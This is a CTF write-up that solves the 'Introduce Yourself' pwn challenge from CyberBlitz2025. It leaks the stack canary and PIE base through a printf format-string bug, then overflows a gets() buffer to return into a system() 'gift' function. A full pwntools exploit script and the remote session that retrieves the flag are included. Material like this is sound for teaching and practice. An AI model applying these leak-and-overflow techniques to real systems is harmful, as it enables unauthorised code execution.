Introduce Yourself
Challenge Description
You are now enrolled as an SIT student, it is of good manners that you should introduce yourself and get to know more people!
Exploit
Check Security
1
2
3
~/labs/ctf/cyberblitz2025/pwn/introduce_yourself
❯ file intro
intro: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cb78e1a5dbb1e38db671569e5b8853660c164de5, for GNU/Linux 3.2.0, not stripped
Breakdown
- The binary is not stripped, meaning symbol information is preserved.
- Function names (e.g.
main,win) and symbol addresses are available.- TLDR, easier to rev.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
~/labs/ctf/cyberblitz2025/pwn/introduce_yourself
❯ checksec --file=./intro --format=json | jq
{
"./intro": {
"relro": "full",
"canary": "yes",
"nx": "yes",
"pie": "yes",
"rpath": "no",
"runpath": "no",
"symbols": "yes",
"fortify_source": "no",
"fortified": "0",
"fortify-able": "3"
}
}
Breakdown
canary: yes
- Stack canary protection is enabled.
- The return address cannot be overwritten directly.
- No simple buffer overflow here.
nx:yes
- The stack is non-executable, preventing injected shellcode from running.
- Don’t matter here since its a
ret2winchallenge.pie:yes
- The binary is loaded at a randomized base address.
- A PIE leak is required to calculate the correct runtime address of the target function.
Vulnerability Analysis
View functions
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
pwndbg> info func All defined functions: Non-debugging symbols: 0x0000000000001000 _init 0x0000000000001030 putchar@plt 0x0000000000001040 puts@plt 0x0000000000001050 __stack_chk_fail@plt 0x0000000000001060 system@plt 0x0000000000001070 printf@plt 0x0000000000001080 fgets@plt 0x0000000000001090 gets@plt 0x00000000000010a0 setvbuf@plt 0x00000000000010b0 __cxa_finalize@plt 0x00000000000010c0 main 0x00000000000010d0 _start 0x0000000000001100 deregister_tm_clones 0x0000000000001130 register_tm_clones 0x0000000000001170 __do_global_dtors_aux 0x00000000000011b0 frame_dummy 0x00000000000011c0 welcome 0x00000000000012a0 gift 0x00000000000012b0 _fini
giftFunction- Address:
0x12a0 - Little-Endian:
\xa0\x12\x00\x00\x00\x00\x00\x00
- Address:
Decompiled
welcomein ghidra for easier understanding
Breakdown
- Line 15–17: User input is read safely but printed via
printf(buffer), susceptbile to string format vulnerability. - Line 20:
gets(), susceptible to buffer overflow.
- Line 15–17: User input is read safely but printed via
Disassemble
gift1 2 3 4 5 6 7
pwndbg> disas gift Dump of assembler code for function gift: 0x00000000000012a0 <+0>: lea rdi,[rip+0xda6] # 0x204d 0x00000000000012a7 <+7>: xor eax,eax 0x00000000000012a9 <+9>: jmp 0x1060 <system@plt> End of assembler dump. pwndbg>Able to do code execution if jumped to this function.
Find Canary Offset
Turn off ASLR
1 2 3
~/labs/ctf/cyberblitz2025/pwn/introduce_yourself ❯ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 0
Examine the decompiled code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
void welcome(void) { long in_FS_OFFSET; // FS segment base (thread-local storage) char acStack_e8 [112]; // buffer used by fgets (safe) char local_78 [104]; // buffer used by gets (VULNERABLE) long local_10; // local copy of stack canary // ---- stack canary setup ---- local_10 = *(long *)(in_FS_OFFSET + 0x28); setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,2,0); setvbuf(stderr,(char *)0x0,2,0); puts("Type in your name below:"); fgets(acStack_e8,100,stdin); // safe, bounded printf("Nice to meet you "); printf(acStack_e8); // FORMAT STRING BUG putchar(10); puts("Give your message of the day?"); gets(local_78); // STACK OVERFLOW // ---- stack canary check ---- if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return; } __stack_chk_fail(); }
Breakdown
char acStack_e8 [112];- The buffer is allocated on the stack.
- Used by
fgets()with a strict length (100). - Not susceptible to buffer overflow
- Susceptible to string format exploit to leak addresses.
char local_78 [104];- Allocated on the stack below the canary.
- Used by
gets()with no bounds checking. - Susceptible to buffer overflow.
- Exploiting it
- Offset to Stack Canary.
- Canary Address (to preserve), so no smashing detected.
- Offset to
RBP. - Return for stack alignment.
- Function to win.
long local_10;- The buffer is allocated on the stack.
- Used to store a local copy of the per-thread stack canary for stack protection.
local_10 = *(long *)(in_FS_OFFSET + 0x28);- Reads the global canary from thread-local storage.
- Copies it into the stack frame (
local_10) - To be compared before returning to detect bof.
Overflow diagram
1 2 3 4 5 6 7 8 9
higher addresses ──────────────────────── saved RIP saved RBP local_10 ← stack canary (8 bytes) local_78[104] ← gets() buffer (overflowable) acStack_e8[112] ← fgets() buffer (safe) ──────────────────────── lower addresses
Breakdown
- Buffer overflows to higher addresses where the canary,
rbpandripis located. - Our buffer overflow will not affect elements on the stack located at lower addresses. Such as
acStack_e8[112].
Offset to Canary
local_78(overflowable buffer) starts at offset0x78local_10(canary) is located at offset0x100x78 - 0x10 = 0x68 = 104 bytes- 104 bytes are required to reach the start of the stack canary
- Buffer overflows to higher addresses where the canary,
Examine the assembly (further verify offset to canary is
0x68=104)
Breakdown
local_78starts atRBP - 0x78local_10(canary copy) starts atRBP - 0x100x78 - 0x10 = 0x68 = 104 bytes
Leak Canary Address
fuzz.py1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
from pwn import * # Allows you to switch between local/GDB/remote from terminal def start(argv=[], *a, **kw): if args.GDB: # Set GDBscript below return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) else: # Run locally return process([exe] + argv, *a, **kw) # Specify your GDB script here for debugging gdbscript = ''' b main '''.format(**locals()) # Set up pwntools for the correct architecture exe = './intro' # This will automatically get context arch, bits, os etc elf = context.binary = ELF(exe, checksec=False) # Enable verbose logging so we can see exactly what is being sent (info/debug) context.log_level = 'warning' for i in range(50): try: p = start() # Format the counter # e.g. %2$s will attempt to print [i]th pointer/string/hex/char/int p.sendlineafter(b'Type in your name below:', '%{}$p'.format(i).encode()) # Receive the response p.recvuntil(b'Nice ') result = p.recvline() print(str(i) + ': ' + str(result)) p.close() except EOFError: pass
Fuzz it
1 2 3 4 5
~/labs/ctf/cyberblitz2025/pwn/introduce_yourself ❯ python3 fuzz.py > fuzz.out ~/labs/ctf/cyberblitz2025/pwn/introduce_yourself ❯ python3 fuzz.py > fuzz2.out
Find candidates of possible Canary Address
1 2 3 4 5
~/labs/ctf/cyberblitz2025/pwn/introduce_yourself ❯ diff fuzz.out fuzz2.out | grep "00" < 33: b'to meet you 0xdd26dfdb54027a00\n' > 33: b'to meet you 0x456acbd9c6a9df00\n' < 43: b'to meet you 0x2fd9ede2442f008d\n' <-ignore
To Note
- Canary always changes despite ASLR turned off (unlike PIEBASE).
- Canary is designed to have
00at the least significant byte to check if smashed the stack. - Canary Index:
33
Leak PIE Address
Find PIE Base Address from
pwndbg1 2 3 4 5
pwndbg> b main pwndbg> r ...SNIP... pwndbg> piebase Calculated VA from /home/kali/labs/ctf/cyberblitz2025/pwn/introduce_yourself/intro = 0x555555554000
To Note
- PIE Base Address:
0x555555554000
- PIE Base Address:
Fuzz it
1 2
~/labs/ctf/cyberblitz2025/pwn/introduce_yourself ❯ python3 fuzz.py > fuzz3.out
Find candidates of possible Canary Address
1 2 3 4 5
~/labs/ctf/cyberblitz2025/pwn/introduce_yourself ❯ cat fuzz3.out | grep 0x5 35: b'to meet you 0x5555555550c9\n' 39: b'to meet you 0x5555555550c0\n' 47: b'to meet you 0x555555557d88\n'
To Note
- Addresses starting with
0x5555…belongs to the main PIE binary. - All these addresses can be used to derive the PIE Base Address.
- Each leaked value is a code pointer inside the PIE binary.
leaked_address = PIEBASE + function_offset
- Addresses starting with
Edit code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
...SNIP... # Let's fuzz x values for i in range(35, 36): try: p = start() # Format the counter # e.g. %2$s will attempt to print [i]th pointer/string/hex/char/int p.sendlineafter(b'Type in your name below:', '%{}$p'.format(i).encode()) # Receive the response p.recvuntil(b'Nice ') result = p.recvline() print(str(i) + ': ' + str(result)) p.close() except EOFError: pass
Send it with
GDBargument1 2 3 4 5 6 7
~/labs/ctf/cyberblitz2025/pwn/introduce_yourself ❯ python3 fuzz.py GDB 35: b'to meet you 0x5555555550c9\n' ~/labs/ctf/cyberblitz2025/pwn/introduce_yourself ❯ python3 fuzz.py GDB 35: b'to meet you 0x5555555550c9\n'
Notice that the Address doesn’t change.
0x5555555550c9 <main+9>, we have chosen the right address.Determine the offset from PIE Base Address
1 2
(gdb) x 0x5555555550c9 - 0x555555554000 0x10c9: Cannot access memory at address 0x10c9
To Note
Offset:0x10c9Leaked Address - 0x10c9 = PIE Base Address
Find Gadgets
Find
ret1 2 3 4 5 6 7 8 9 10
~/labs/ctf/cyberblitz2025/pwn/introduce_yourself ❯ ropper -f intro --search "ret" [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: ret [INFO] File: intro 0x0000000000001016: ret;
To Note
- Utilized for stack alignment.
- The
retgadget is used to adjustRSPby 8 bytes to restore 16-byte stack alignment on x64 before entering a real function. - Address:
1016 - Little-Endian:
\x16\x10\x00\x00\x00\x00\x00\x00
Exploit
Steps
| Step | Purpose | Value |
|---|---|---|
| 1 | Padding to Canary | 104 |
| 2 | Canary | Canary Address at Runtime |
| 3 | Padding to RBP | 8 |
| 4 | Stack alignment (ret) | 0x1016 |
| 5 | gift() | x |
Also, don’t forget PIE Leak.
exploit.py, edit “CHANGE HERE” section.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
exe = "./intro"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
def start():
if args.REMOTE:
return remote(sys.argv[1], int(sys.argv[2]))
return process(exe)
# CHANGE ME
OFFSET_TO_CANARY = 104
OFFSET_TO_RBP = 8
CANARY_IDX = 33
PIE_IDX = 35
PIE_SUBTRACT = 0x10c9
RET_GADGET = 0x1016
WIN_SYM = "gift"
# END
io = start()
# ---- Leak ----
fmt = f"%{CANARY_IDX}$p.%{PIE_IDX}$p".encode()
io.sendlineafter(b"Type in your name below:\n", fmt)
# io.sendlineafter(b"Type in your name below:\n", b"%33$p.%35$p")
io.recvuntil(b"to meet you ")
canary_s, pie_s = io.recvline().strip().split(b".")
canary = int(canary_s, 16)
pie_leak = int(pie_s, 16)
log.info(f"canary = {canary:#x}")
log.info(f"pie leak = {pie_leak:#x}")
# ---- PIE base ----
elf.address = pie_leak - PIE_SUBTRACT
log.info(f"pie base = {elf.address:#x}")
win_addr = elf.symbols[WIN_SYM]
log.info(f"{WIN_SYM}() = {win_addr:#x}")
# ---- ret gadget (alignment) ----
ret = elf.address + RET_GADGET # adjust if different
log.info(f"ret gadget = {ret:#x}")
# ---- Payload ----
payload = flat([
b"A" * OFFSET_TO_CANARY,
canary,
b"B" * OFFSET_TO_RBP,
ret,
win_addr
])
io.sendlineafter(b"Give your message of the day?\n", payload)
io.interactive()
Results
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
~/labs/ctf/cyberblitz2025/pwn/introduce_yourself
❯ python3 exploit.py REMOTE blitzinstance1.ddns.net 33523
[+] Opening connection to blitzinstance1.ddns.net on port 33523: Done
[DEBUG] Received 0x18 bytes:
b'Type in your name below:'
[DEBUG] Received 0x1 bytes:
b'\n'
[DEBUG] Sent 0xc bytes:
b'%33$p.%35$p\n'
[DEBUG] Received 0x11 bytes:
b'Nice to meet you '
[DEBUG] Received 0x41 bytes:
b'0x57628079e31ea900.0x55efded3f0c9\n'
b'\n'
b'Give your message of the day?\n'
[*] canary = 0x57628079e31ea900
[*] pie leak = 0x55efded3f0c9
[*] pie base = 0x55efded3e000
[*] gift() = 0x55efded3f2a0
[*] ret gadget = 0x55efded3f016
[DEBUG] Sent 0x89 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000060 41 41 41 41 41 41 41 41 00 a9 1e e3 79 80 62 57 │AAAA│AAAA│····│y·bW│
00000070 42 42 42 42 42 42 42 42 16 f0 d3 de ef 55 00 00 │BBBB│BBBB│····│·U··│
00000080 a0 f2 d3 de ef 55 00 00 0a │····│·U··│·│
00000089
[*] Switching to interactive mode
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x25 bytes:
b'CyberBlitz2025{c@n_C@n_st@ck_f0rm@t}\n'
CyberBlitz2025{c@n_C@n_st@ck_f0rm@t}


